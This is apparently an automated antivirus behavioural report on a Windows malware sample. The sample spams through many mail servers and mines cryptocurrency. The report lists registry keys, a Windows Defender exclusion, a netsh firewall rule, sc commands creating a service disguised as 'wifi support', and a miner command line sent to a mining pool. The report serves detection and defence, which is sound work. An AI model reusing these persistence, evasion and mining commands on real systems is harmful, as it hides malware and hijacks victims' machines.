Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\vefkcwpj] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\vefkcwpj] 'ImagePath' = '%WINDIR%\SysWOW64\vefkcwpj\acvgnvjz.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\vefkcwpj] 'ImagePath' = '%WINDIR%\SysWOW64\vefkcwpj\acvgnvjz.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\vefkcwpj' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\acvgnvjz.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\acvgnvjz.exe to %WINDIR%\syswow64\vefkcwpj\acvgnvjz.exe
Deletes itself.
Network activity
Connects to
- 'bo#########ciates.com.1.0001.arsmtp.com':25
- 'mx##.#mig.gmx.net':25
- 'sm##.ppmh.org':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mx#.###nturserver.de
- DNS ASK pl#####rsdumonde.com
- DNS ASK ma##.#eodomaine.com
- DNS ASK ne###ape.net
- DNS ASK ym##l.com
- DNS ASK ma#l.dk
- DNS ASK fp##.mail.dk
- DNS ASK al#####omation.com.br
- DNS ASK da#####mdigital.co.uk
- DNS ASK mx#.lcn.com
- DNS ASK sp######intelligence.com
- DNS ASK ma##.####tingintelligence.com
- DNS ASK em##l.com
- DNS ASK mx#.#mpal.com
- DNS ASK ne###kha.org
- DNS ASK mx#####.##.spamgateway.comodo.com
- DNS ASK ya##o.de
- DNS ASK pm##plan.de
- DNS ASK mi####.bittubeapp.com
- DNS ASK mx#######.mail.am0.yahoodns.net
- DNS ASK na####botics.com
- DNS ASK mx####.carrierzone.com
- DNS ASK bi###nd.com.au
- DNS ASK ex####l.bigpond.com
- DNS ASK ma##t.org
- DNS ASK ma##.yahoo.com
- DNS ASK sp####beverage.ca
- DNS ASK t-##line.de
- DNS ASK mx##.#-online.de
- DNS ASK po##.rzn.ru
- DNS ASK mx.##tcom.ru
- DNS ASK cl####nshipping.com
- DNS ASK sp###rcable.com
- DNS ASK ma##.##idercable.com
- DNS ASK fr###vos.co.za
- DNS ASK ma##.#rankvos.co.za
- DNS ASK nb##fcu.org
- DNS ASK ma########.ewarttechnologies.net
- DNS ASK ro##rs.com
- DNS ASK hm#.co.kr
- DNS ASK ko#####-spam.hmm.co.kr
- DNS ASK bo#####resstravel.com
- DNS ASK sp####.blackberry.net
- DNS ASK mx##.###.us.blackberry.com
- DNS ASK oc##ner.org
- DNS ASK sm##.#chsner.org
- DNS ASK sm####.i.mail.ru
- DNS ASK re###fmail.com
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK tg#.org
- DNS ASK ma#.com
- DNS ASK gm#.de
- DNS ASK mx##.#mig.gmx.net
- DNS ASK pp##.org
- DNS ASK sm##.ppmh.org
- DNS ASK ve###ulenav.nl
- DNS ASK qq.com
- DNS ASK mx#.qq.com
- DNS ASK bo#####associates.com
- DNS ASK bo#########ciates.com.1.0001.arsmtp.com
- DNS ASK th#########inggroup-com.mxguardian.net
- DNS ASK th#####lendinggroup.com
- DNS ASK cl######.us.messagelabs.com
- DNS ASK ly##s.de
- DNS ASK mx.#####.#e.cust.b.hostedemail.com
- DNS ASK cl#####nomina.com.br
- DNS ASK on#.com
- DNS ASK mx.#no.com
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK sp###ltech.com
- DNS ASK sp####ngkicks.co.uk
- DNS ASK on####.umpquabank.com
- DNS ASK ms##.hinet.net
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ma##.##ter-energo.com
- DNS ASK se##am.cz
- DNS ASK mx#.#eznam.cz
- DNS ASK no###nsd.org
- DNS ASK dp#.net.au
- DNS ASK bo############vel-com.mail.protection.outlook.com
- DNS ASK sp###########-co-uk.mail.protection.outlook.com
- DNS ASK mx#.##il.icloud.com
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK ma##.####leoskyarquitectura.com
- DNS ASK ms###oteile.de
- DNS ASK va###tupost.vu
- DNS ASK tv#.##nuatupost.vu
- DNS ASK bo####ecutive.com
- DNS ASK bo########ive.com.1.0001.arsmtp.com
- DNS ASK li#e.de
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK wa##doo.fr
- DNS ASK sm####n.orange.fr
- DNS ASK fa####search.org
- DNS ASK fa###########org.mail.protection.outlook.com
- DNS ASK sp######singinsport.co.uk
- DNS ASK sp#####isedsafaris.com
- DNS ASK sp############aris-com.mail.protection.outlook.com
- DNS ASK ie##.org
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK gr###vicios.com
- DNS ASK mx##.#spgateway.de
- DNS ASK re###plus.org
- DNS ASK sy##t.de
- DNS ASK google.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ya##o.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ya##o.it
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK co##eos.es
- DNS ASK mx.###.correos.es
- DNS ASK th####nardgroup.ca
- DNS ASK th#####geservices.ca
- DNS ASK mx#########st-1.prod.hydra.sophos.com
- DNS ASK in###gram.com
- DNS ASK ASPMX.L.GOOGLE.COM
- DNS ASK so##n.com
- DNS ASK mx##.solon.com
- DNS ASK lk##.org
- DNS ASK Re###a.ccf.org
- DNS ASK o2.pl
- DNS ASK mx.#len.pl
- DNS ASK ma##.omnitel.it
- DNS ASK ya##o.co.jp
- DNS ASK mx#.###l.yahoo.co.jp
- DNS ASK ma##.##fa-fenster.de
- DNS ASK so######kyarquitectura.com
- DNS ASK ho##ail.fr
- DNS ASK sp##d.ro
- DNS ASK li##ro.it
- DNS ASK sm####n.libero.it
- DNS ASK pa##ack.pl
- DNS ASK mx.##ris.net
- DNS ASK he###fenster.de
- DNS ASK mx#.##rthlink.net
- DNS ASK th####allenge.org
- DNS ASK ea###link.net
- DNS ASK la###a950.com
- DNS ASK is#.pw
- DNS ASK sp######staggregates.com
- DNS ASK li###teil.com
- DNS ASK ma##.#ivesteil.com
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK in##gov.org
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK we##v.net
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ya##o.co.in
- DNS ASK th#####gesyracuse.com
- DNS ASK ya##o.es
- DNS ASK ya##o.fr
- DNS ASK kr##.org
- DNS ASK ma##.krmc.org
- DNS ASK ao#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK gs##ar.org
- DNS ASK ea##emx.com
- DNS ASK mx#######101.gslb.pphosted.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\vefkcwpj\acvgnvjz.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vefkcwpj\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\acvgnvjz.exe" %WINDIR%\SysWOW64\vefkcwpj\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create vefkcwpj binPath= "%WINDIR%\SysWOW64\vefkcwpj\acvgnvjz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description vefkcwpj "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start vefkcwpj' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vefkcwpj\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\acvgnvjz.exe" %WINDIR%\SysWOW64\vefkcwpj\
- '%WINDIR%\syswow64\sc.exe' create vefkcwpj binPath= "%WINDIR%\SysWOW64\vefkcwpj\acvgnvjz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description vefkcwpj "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start vefkcwpj
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3SR4afw4CJsq2dWvisbAWdDfFLcj88bav7nt1bjojpjUVedMEXXXcPiB27hV3RJMVmSBdfq4vs6PHDcG5uTSoj2oiWF2UKB.70000 -p x -k
